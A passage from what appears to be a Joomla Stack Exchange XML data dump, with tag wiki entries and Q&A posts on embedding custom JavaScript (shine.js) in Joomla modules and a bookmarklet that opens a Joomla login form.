rel=&quot;nofollow&quot;&gt;https://developers.google.com/analytics/devguides/reporting/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Universal Analytics Upgrade Center&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Information on upgrading to Universal Analytics, a set of features that change the way data is collected and organized in your Google Analytics account. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://developers.google.com/analytics/devguides/collection/upgrade/&quot; rel=&quot;nofollow&quot;&gt;https://developers.google.com/analytics/devguides/collection/upgrade/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Tools&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Google provides some playground-like tools to let you play and learn the APIs:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://googlecodesamples.com/oauth_playground/&quot; rel=&quot;nofollow&quot;&gt;OAuth Playground&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://code.google.com/oauthplayground/&quot; rel=&quot;nofollow&quot;&gt;OAuth 2 Playground&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://code.google.com/apis/explorer/#_s=analytics&amp;amp;_v=v3&quot; rel=&quot;nofollow&quot;&gt;Google Analytics API Explorer&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Unofficial support:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://plus.google.com/u/0/communities/114481059214254340537&quot; rel=&quot;nofollow&quot;&gt;Google Analytics Google+ Community&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://plus.google.com/u/0/communities/110103497213687093818&quot; rel=&quot;nofollow&quot;&gt;Google Analytics Developers Google+ Community&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Links:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.google.com/analytics/&quot; rel=&quot;nofollow&quot;&gt;Google Analytics website&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Google_Analytics&quot; rel=&quot;nofollow&quot;&gt;Google Analytics Wikipedia&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-11T18:42:16.717" LastActivityDate="2014-08-11T18:42:16.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3984" PostTypeId="4" CreationDate="2014-08-11T15:49:47.130" Score="0" Body="Google Analytics is a free web analytics solution provided by Google, featuring several client-side APIs, as well as REST APIs for data export and for management." OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-11T18:42:05.987" LastActivityDate="2014-08-11T18:42:05.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3985" PostTypeId="5" CreationDate="2014-08-11T15:52:41.947" Score="0" Body="&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://wordpress.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;WordPress&lt;/a&gt;&lt;/strong&gt; is a PHP-based, open source content management system (&lt;a href=&quot;/questions/tagged/cms&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;cms&amp;#39;&quot; rel=&quot;tag&quot;&gt;cms&lt;/a&gt;) for creating websites and blogs. Through its dynamic presentation of content, webmasters have the flexibility to create beautiful and useful websites easily. Through its system of filters and hooks, WordPress allows developers to extend functionality through pieces of code called functions, which can be grouped into separate executables called &quot;plugins&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress as a content management platform should be distinguished from &lt;a href=&quot;http://wordpress.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;wordpress.com&lt;/a&gt;, which is a hosted solution by the creators of WordPress. For a discussion of the differences, visit &lt;a href=&quot;http://en.support.wordpress.com/com-vs-org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;WordPress.com and WordPress.org&lt;/a&gt;. The latest version is v3.9.2 release on August 6, 2014.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This tag is for programming-specific questions related to WordPress, especially those that involve a mix of languages and technologies (PHP, MySQL, CSS, JavaScript/jQuery and others). Questions about plugin and theme development, WordPress administration, management best practices and server configuration are best asked on Stack Exchange &lt;a href=&quot;http://wordpress.stackexchange.com/&quot;&gt;WordPress Development&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Links&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/&quot;&gt;WordPress Development Stack Exchange&lt;/a&gt;&lt;/strong&gt;&lt;br&gt;&#xA;Stack Exchange's dedicated WordPress site. Questions about programming themes, drop-ins and plugins and about the administration of WordPress are on topic there.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://wordpress.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;WordPress.org&lt;/a&gt;&lt;/strong&gt;&lt;br&gt;&#xA;The main site where you can &lt;a href=&quot;http://wordpress.org/download/&quot; rel=&quot;nofollow noreferrer&quot;&gt;download the code&lt;/a&gt;, &lt;a href=&quot;http://wordpress.org/extend/plugins/&quot; rel=&quot;nofollow noreferrer&quot;&gt;plugins&lt;/a&gt; and &lt;a href=&quot;http://wordpress.org/extend/themes/&quot; rel=&quot;nofollow noreferrer&quot;&gt;themes&lt;/a&gt;. There is also a &lt;a href=&quot;http://wordpress.org/support/&quot; rel=&quot;nofollow noreferrer&quot;&gt;forum&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://codex.wordpress.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;WordPress Codex&lt;/a&gt;&lt;/strong&gt;&lt;br&gt;&#xA;Documentation wiki with lots of good tutorials, references and links.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://make.wordpress.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Make WordPress&lt;/a&gt;&lt;/strong&gt;&lt;br&gt;&#xA;Official resources to help people develop for WordPress.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://lists.automattic.com/mailman/listinfo&quot; rel=&quot;nofollow noreferrer&quot;&gt;WordPress Mailing Lists&lt;/a&gt;&lt;/strong&gt;&lt;br&gt;&#xA;21 lists to discuss nearly every aspect of WordPress.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://core.trac.wordpress.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;WordPress Trac&lt;/a&gt;&lt;/strong&gt;&lt;br&gt;&#xA;Bug tracker for WordPress. Useful to keep on track of the latest changes – and to report the bugs you found.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://codex.wordpress.org/IRC&quot; rel=&quot;nofollow noreferrer&quot;&gt;WordPress Chat&lt;/a&gt;&lt;/strong&gt;&lt;br&gt;&#xA;Here you may sometimes get help very fast.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://codex.wordpress.org/Installing_WordPress&quot; rel=&quot;nofollow noreferrer&quot;&gt;Installing WordPress&lt;/a&gt;&lt;/strong&gt;&lt;br&gt;&#xA;Installing WordPress &amp;amp; getting started.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://codex.wordpress.org/Writing_a_Plugin&quot; rel=&quot;nofollow noreferrer&quot;&gt;Writing a Plugin&lt;/a&gt;&lt;/strong&gt;&lt;br&gt;&#xA;WordPress Plugins allow easy modification, customization, and enhancement to a WordPress blog.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://codex.wordpress.org/Plugin_API/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Plugin API&lt;/a&gt;&lt;/strong&gt;&lt;br&gt;&#xA;Article is specifically about the API of &quot;Hooks&quot;, also known as &quot;Filters&quot; and &quot;Actions&quot;, that WordPress uses to set your plugin in motion. &lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://codex.wordpress.org/Theme_Development&quot; rel=&quot;nofollow noreferrer&quot;&gt;Theme Development&lt;/a&gt;&lt;/strong&gt;&lt;br&gt;&#xA;WordPress themes are easy to create and make it useable. WordPress has it's own tutorial site, where everyone can educate themselves, beginner or expert.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://codex.wordpress.org/Create_A_Network&quot; rel=&quot;nofollow noreferrer&quot;&gt;WordPress Multisite&lt;/a&gt;&lt;/strong&gt;&lt;br&gt;&#xA;You have the ability to create a network of sites by using the multisite feature. This article contains instructions for creating a multisite network.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;More information&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/WordPress&quot; rel=&quot;nofollow noreferrer&quot;&gt;WordPress Wikipedia Article&lt;/a&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="9471" LastEditDate="2019-02-10T09:11:04.493" LastActivityDate="2019-02-10T09:11:04.493" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="3986" PostTypeId="4" CreationDate="2014-08-11T15:52:41.947" Score="0" Body="WordPress is an open source content management system running on PHP and MySQL, and often used as a blog engine. WordPress questions about programming and administration are best asked on http://wordpress.stackexchange.com/" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-11T18:42:09.090" LastActivityDate="2014-08-11T18:42:09.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3987" PostTypeId="5" CreationDate="2014-08-11T15:59:48.937" Score="0" Body="&lt;p&gt;Really Simple Syndication (&lt;a href=&quot;http://en.wikipedia.org/wiki/RSS&quot; rel=&quot;nofollow&quot;&gt;RSS&lt;/a&gt;) is a family of web content syndication formats used to publish frequently updated works — such as blog entries, news headlines, audio, and video — in a standardized format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RSS is a dialect of XML. All RSS files must conform to the XML 1.0 specification, as published on the World Wide Web Consortium (W3C) website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla is has inbuilt capability of both reading and generating RSS feeds, but there are several RSS extensions for Joomla with additional features available at the &lt;a href=&quot;http://extensions.joomla.org/extensions/social-web/social-display/rss-readers&quot; rel=&quot;nofollow&quot;&gt;Joomla Extensions Directory&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Useful Resources:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://cyber.law.harvard.edu/rss/rss.html&quot; rel=&quot;nofollow&quot;&gt;RSS 2.0 Specification&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/social-web/social-display/rss-readers&quot; rel=&quot;nofollow&quot;&gt;RSS Readers at Joomla Extensions Directory&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-11T18:42:03.467" LastActivityDate="2014-08-11T18:42:03.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3988" PostTypeId="4" CreationDate="2014-08-11T15:59:48.937" Score="0" Body="Really Simple Syndication (RSS) is a family of web feed formats used to publish frequently updated works—such as blog entries, news headlines, audio, and video—in a standardized format." OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-11T18:41:57.843" LastActivityDate="2014-08-11T18:41:57.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3989" PostTypeId="2" ParentId="2402" CreationDate="2014-08-11T16:28:28.733" Score="3" Body="&lt;p&gt;I often faced a similar problem because I often want a front-end login in order to edit websites I manage, without the need to have a login form. I ended up creating a small &lt;strong&gt;&lt;a href=&quot;http://marklets.com/FAQ.aspx&quot; rel=&quot;nofollow&quot;&gt;bookmarklet&lt;/a&gt;&lt;/strong&gt;  that I added to my browser toolbar. This is obviously a very &quot;local&quot; solution, as the bookmarklet only is available to me (or anyone I copy the code to), but it works on ANY Joomla site and is an incredible time saver, simply click the link and the login form will be shown (given that you are on a Joomla site, of course...).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; javascript:void((function(){var loc = location.href; loc.indexOf(&quot;?&quot;) == -1 ? (location.href = loc+&quot;?option=com_users&amp;amp;view=login&quot;) : (location.href = loc+&quot;&amp;amp;option=com_users&amp;amp;view=login&quot;);})());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-08-11T16:28:28.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3990" PostTypeId="1" AcceptedAnswerId="3995" CreationDate="2014-08-11T17:53:25.453" Score="4" ViewCount="5375" Body="&lt;p&gt;I want to create a custom module to insert this .js javascript into my joomla site; joomla 3.x version&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bigspaceship.github.io/shine.js/&quot; rel=&quot;nofollow&quot;&gt;http://bigspaceship.github.io/shine.js/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how can I do to create my custom text to appear into a module into joomla?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks for your help folks!&lt;/p&gt;&#xA;" OwnerUserId="364" LastEditorUserId="3650" LastEditDate="2016-11-24T18:45:34.753" LastActivityDate="2017-01-16T19:13:04.320" Title="Create custom module with javascript .js" Tags="|javascript|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3991" PostTypeId="2" ParentId="3961" CreationDate="2014-08-11T19:23:37.583" Score="4" Body="&lt;p&gt;Why would you want to do this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can easily target all images in an article with css without using a plugin, all you need is a bit of css;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.view-article img { // My awesome styles here ;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Targets all images in your articles and doesn't add any the overhead, or complexity, a plugin would. The simplest way is always the best way. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maintainable, scalable, secure.&lt;/p&gt;&#xA;" OwnerUserId="296" LastEditorUserId="296" LastEditDate="2014-08-14T09:45:59.203" LastActivityDate="2014-08-14T09:45:59.203" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3992" PostTypeId="2" ParentId="3978" CreationDate="2014-08-11T21:34:32.920" Score="4" Body="&lt;p&gt;The CMS provides a lot of chrome, features and functionality that are not in platform (eg. control panel, user management, etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Framework includes all the underlying structure including database functions, string manipulations, etc. but it isn't a CMS. (According to the Framework project, the Joomla CMS will be refactored to use the Framework functions, but currently uses only a small set).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you want a CMS, there's no reason to migrate to the framework (unless you want to re-invent the wheel). If you want to build a web app, web services or command line application using proven functionality, you can use the Framework to provide lots of convenience and utility functions, much like Zend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a thread with more information: &lt;a href=&quot;https://joomla.stackexchange.com/questions/3/what-are-the-differences-between-the-joomla-cms-the-joomla-platform-and-the-j?rq=1&quot;&gt;What are the differences between the Joomla! CMS, the Joomla! Platform and the Joomla! Framework?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2014-08-11T21:34:32.920" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3993" PostTypeId="2" ParentId="3960" CreationDate="2014-08-11T22:41:27.567" Score="1" Body="&lt;p&gt;You don't need to use the protocol in a js link. You can use &lt;code&gt;//&lt;/code&gt; and the correct protocol will be selected for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eg.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;//ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd just do a global find / replace in my code and leave it like that, and use &lt;code&gt;//src.js&lt;/code&gt; going forward.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-08-11T22:41:27.567" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3994" PostTypeId="2" ParentId="3990" CreationDate="2014-08-11T23:07:18.160" Score="4" Body="&lt;p&gt;I Assume that your current html editor is TinyMCE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to Administrator -&gt; Extensions -&gt; Plugin Manager -&gt; Editor - TinyMCE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Delete the word &lt;code&gt;script&lt;/code&gt; if it is listed in the &quot;Prohibited Elements&quot; field and save the plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then create a new &quot;Custom HTML Module&quot; by Going to Administrator -&gt; Extensions -&gt; Module Manager -&gt; &lt;kbd&gt;+New&lt;/kbd&gt; -&gt; Custom HTML&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click on the &lt;kbd&gt;Toggle Editor&lt;/kbd&gt; and Add the &lt;a href=&quot;http://bigspaceship.github.io/shine.js/&quot; rel=&quot;nofollow&quot; title=&quot;Shine Sample Code&quot;&gt;code&lt;/a&gt; like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;style&amp;gt;&#xA;    /* In HTML5 you can use style tag inside the body. */&#xA;&amp;lt;/style&amp;gt;&#xA;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;path/to/shine.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    var shine = new Shine(document.getElementById('my-shine-object'));&#xA;    window.addEventListener('mousemove', function(event) {&#xA;        shine.light.position.x = event.clientX;&#xA;        shine.light.position.y = event.clientY;&#xA;        shine.draw();&#xA;    }, false);&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then fill the &quot;Title&quot; field, select the &quot;Position&quot; and enable the module. You can select a desired module assignment as well. Then save it.&lt;/p&gt;&#xA;" OwnerUserId="1520" LastEditorUserId="1520" LastEditDate="2014-08-12T21:55:36.050" LastActivityDate="2014-08-12T21:55:36.050" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3995" PostTypeId="2" ParentId="3990" CreationDate="2014-08-12T00:08:36.573" Score="3" Body="&lt;p&gt;There are several ways to achieve this in Joomla:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;1.&lt;/strong&gt; You might want to take a look at a plugin called &lt;a href=&quot;http://www.nonumber.nl/extensions/sourcerer&quot; rel=&quot;nofollow noreferrer&quot;&gt;Sourcerer from NoNumber&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Sourcerer enables you to place PHP and any kind of HTML style code&#xA;(including CSS and JavaScript) right into your content! Not only in&#xA;your articles, but also in sections, categories, modules, components,&#xA;META tags, etc.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Then you can add javascript directly in the WYSIWYG editor (like TinyMCE), and the plugin will parse the code as needed. Example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{source}&#xA;&amp;lt;script src=&amp;quot;http://bigspaceship.github.io/shine.js/&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;{/source}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Other similar extensions can be found here: &lt;a href=&quot;http://extensions.joomla.org/extensions/core-enhancements/coding-a-scripts-integration/custom-code-in-content&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://extensions.joomla.org/extensions/core-enhancements/coding-a-scripts-integration/custom-code-in-content&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;2.&lt;/strong&gt; Another option is to install a custom module from &lt;a href=&quot;http://extensions.joomla.org/extensions/core-enhancements/coding-a-scripts-integration/custom-code-in-modules&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://extensions.joomla.org/extensions/core-enhancements/coding-a-scripts-integration/custom-code-in-modules&lt;/a&gt;. These are special modules that won't remove your code.&lt;/p&gt;&#xA;&lt;h2&gt;Edit:&lt;/h2&gt;&#xA;&lt;p&gt;For your specific requirements, I created a very quick n' dirty module to display the MouseFollow demo included in the package. You can find the module here: &lt;a href=&quot;http://dospuntos.no/extensions/mod_addShine.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://dospuntos.no/extensions/mod_addShine.zip&lt;/a&gt;. Simply install it like any other Joomla module and publish it to any page. &lt;em&gt;(Provided as is, feel free to modify the code if needed).&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Here's the code from the &lt;code&gt;default.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA;* @package    Add Shine.js&#xA;* @author     Dos Puntos Design&#xA;* @copyright  Copyright (C) 2014 Dos Puntos Design&#xA;* @license    http://www.gnu.org/licenses/gpl-3.0.html&#xA;**/&#xA;&#xA;// No direct access&#xA;defined( '_JEXEC' ) or die( 'Restricted access' );&#xA;JHtml::_('script', JUri::root() . 'media/mod_addShine/js/shine.min.js');       // For JS files&#xA;$text = $params-&amp;gt;get('shine_text');&#xA;?&amp;gt;&#xA;&amp;lt;style&amp;gt;&#xA;.demo-text {&#xA;  margin: auto;&#xA;  width: 100%;&#xA;  color: #fcfcfc;&#xA;  text-transform: uppercase;&#xA;  text-align: center;&#xA;  font-size: 8em;&#xA;  font-family: 'Open Sans', sans-serif;&#xA;  font-weight: 800;&#xA;  letter-spacing: -0.02em;&#xA;  line-height: 1.2em;&#xA;}&#xA;&amp;lt;/style&amp;gt;&#xA;    &amp;lt;h1 id=&amp;quot;headline&amp;quot; class=&amp;quot;demo-text&amp;quot;&amp;gt;&amp;lt;?php echo $text ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;    &amp;lt;script type=&amp;quot;text/javascript&amp;quot;&amp;gt;&#xA;      // use new shinejs.Shine(...) if Shine is already defined somewhere else&#xA;      // var shine = new shinejs.Shine(document.getElementById('headline'));&#xA;      var shine = new Shine(document.getElementById('headline'));&#xA;      function handleMouseMove(event) {&#xA;        shine.light.position.x = event.clientX;&#xA;        shine.light.position.y = event.clientY;&#xA;        shine.draw();&#xA;      }&#xA;      window.addEventListener('mousemove', handleMouseMove, false);&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2014-08-12T17:31:41.823" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3996" PostTypeId="5" CreationDate="2014-08-12T00:42:40.817" Score="0" Body="&lt;p&gt;Microdata is part of the &lt;a href=&quot;http://www.whatwg.org/specs/web-apps/current-work/multipage/microdata.html#microdata&quot; rel=&quot;nofollow&quot;&gt;HTML5 specification&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Microdata is designed to annotate content with machine-readable labels so allow scripts to act on the type of content in the page. Microdata uses a supporting vocabulary to describe an item and name-value pairs to assign values to its properties. This vocabulary can be found at &lt;a href=&quot;http://Schema.org&quot; rel=&quot;nofollow&quot;&gt;schema.org&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Microdata support can already be found in technologies such as search engines and web crawlers to better understand what information is contained in a web page, providing better search results. Microdata is an attempt to provide a simpler way of annotating HTML elements with machine-readable tags than the similar approaches of using RDFa and Microformats. - &lt;a href=&quot;http://en.wikipedia.org/wiki/Microdata_%28HTML%29&quot; rel=&quot;nofollow&quot;&gt;wikipedia&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Refer &lt;a href=&quot;http://Schema.org&quot; rel=&quot;nofollow&quot;&gt;Schema.org&lt;/a&gt; too.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-12T06:13:22.283" LastActivityDate="2014-08-12T06:13:22.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3997" PostTypeId="4" CreationDate="2014-08-12T00:42:40.817" Score="0" Body="Search engines, web crawlers, and browsers can extract and process Microdata from a web page and use it to provide a richer browsing experience for users." OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-12T06:13:26.737" LastActivityDate="2014-08-12T06:13:26.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3998" PostTypeId="5" CreationDate="2014-08-12T01:36:26.397" Score="0" Body="&lt;p&gt;Gantry is a framework built by RocketTheme, and used as base for their Joomla and Wordpress theme designs. Gantry is available for free under the &lt;a href=&quot;http://www.gnu.org/licenses/old-licenses/gpl-2.0.html&quot; rel=&quot;nofollow&quot;&gt;GPL license&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Download&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The latest version of Gantry can be downloaded from &lt;a href=&quot;http://gantry-framework.org/download&quot; rel=&quot;nofollow&quot;&gt;http://gantry.org/downloads&lt;/a&gt;&#xA;A free RocketTheme template called &lt;a href=&quot;http://www.rockettheme.com/joomla/templates/afterburner2&quot; rel=&quot;nofollow&quot;&gt;Afterburner 2&lt;/a&gt; (based on Gantry) is also available.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Gantry 5&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Recently RocketTheme released the newest version of their template framework, the &lt;strong&gt;Gantry 5&lt;/strong&gt; that has been built from the ground up to improve on the current version. It features drag-and-drop functionality, powerful administrative panels including the Layout Manager and Menu Editor, as well as dozens of other new features exclusive to the new framework. Taking advantage of the latest Web technologies, it is a faster, infinitely more flexible framework built to meet the needs of tomorrow’s Internet, today.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also a free Gantry 5 template available for download, which can be used as the base for new template development.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Documentation&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.gantry.org&quot; rel=&quot;nofollow&quot;&gt;http://docs.gantry.org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Github&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/gantry/gantry5&quot; rel=&quot;nofollow&quot;&gt;https://github.com/gantry/gantry5&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="126" LastEditDate="2015-08-09T22:35:01.213" LastActivityDate="2015-08-09T22:35:01.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3999" PostTypeId="4" CreationDate="2014-08-12T01:36:26.397" Score="0" Body="Gantry is a framework built by RocketTheme, and used as base for their Joomla and Wordpress theme designs. Gantry is available for free under the GPL license." OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-12T06:13:35.597" LastActivityDate="2014-08-12T06:13:35.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4000" PostTypeId="5" CreationDate="2014-08-12T02:26:36.823" Score="0" Body="&lt;p&gt;Access Control List or ACL is according to the &lt;a href=&quot;http://en.wikipedia.org/wiki/Access_control_list&quot; rel=&quot;nofollow&quot;&gt;Wikipedia definition&lt;/a&gt;, “...ACL specifies which users or system processes are granted access to objects, as well as what operations are allowed to be performed on given objects.” In the case of Joomla there are two separate aspects to its Access Control List which site administrators can control:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which users can gain access to what parts of the website? For example, will a given menu choice be visible for a given user? A registered user can view, but the public at large cannot. Perhaps the menu choice is hidden from all except an Editor user and higher.&#xA;What operations (or actions) can a user perform on any given object? For example, can a user listed as an &quot;Editor&quot; submit an article or only edit an existing article. The ACL settings could allow submitting and editing, or allow a change an article's category, add tags or any combination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The implementation of ACL in Joomla was substantially changed in the Joomla! 2.5 series which allowed for more flexibility in groups and permissions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additional information can be found at &lt;a href=&quot;http://docs.joomla.org/Access_Control_List&quot; rel=&quot;nofollow&quot;&gt;docs.joomla.org&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-12T06:13:29.737" LastActivityDate="2014-08-12T06:13:29.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
